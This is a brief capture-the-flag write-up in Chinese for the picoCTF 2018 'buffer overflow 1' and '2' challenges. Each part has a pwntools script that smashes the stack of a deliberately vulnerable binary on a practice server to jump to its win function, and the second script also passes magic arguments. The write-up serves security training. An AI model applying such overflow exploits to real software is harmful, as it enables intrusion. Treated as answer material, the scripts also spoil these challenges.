picoctf_2018_buffer overflow 1/2

picoctf_2018_buffer overflow 1

vlun函數存在棧溢出，直接棧溢出到win函數即可

from pwn import *

r=remote('node3.buuoj.cn',25153)
elf=ELF('./PicoCTF_2018_buffer_overflow_1')
win_addr=elf.symbols['win']

payload='a'*0x28+'b'*0x4+p32(win_addr)
r.sendline(payload)

r.interactive()                  

 

picoctf_2018_buffer overflow 2

 在vuln函數中存在棧溢出，使其溢出跳轉到win函數，並傳入兩個參數0xDEADBEEF和0xDEADC0DE

from pwn import *

r=remote('node3.buuoj.cn',26189)
#r=process('./PicoCTF_2018_buffer_overflow_2')
elf=ELF('./PicoCTF_2018_buffer_overflow_2')
win_addr=elf.symbols['win']

payload='a'*0x6c+'b'*0x4
payload+=p32(win_addr)+p32(0xdeadbeef)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
r.sendline(payload)

r.interactive()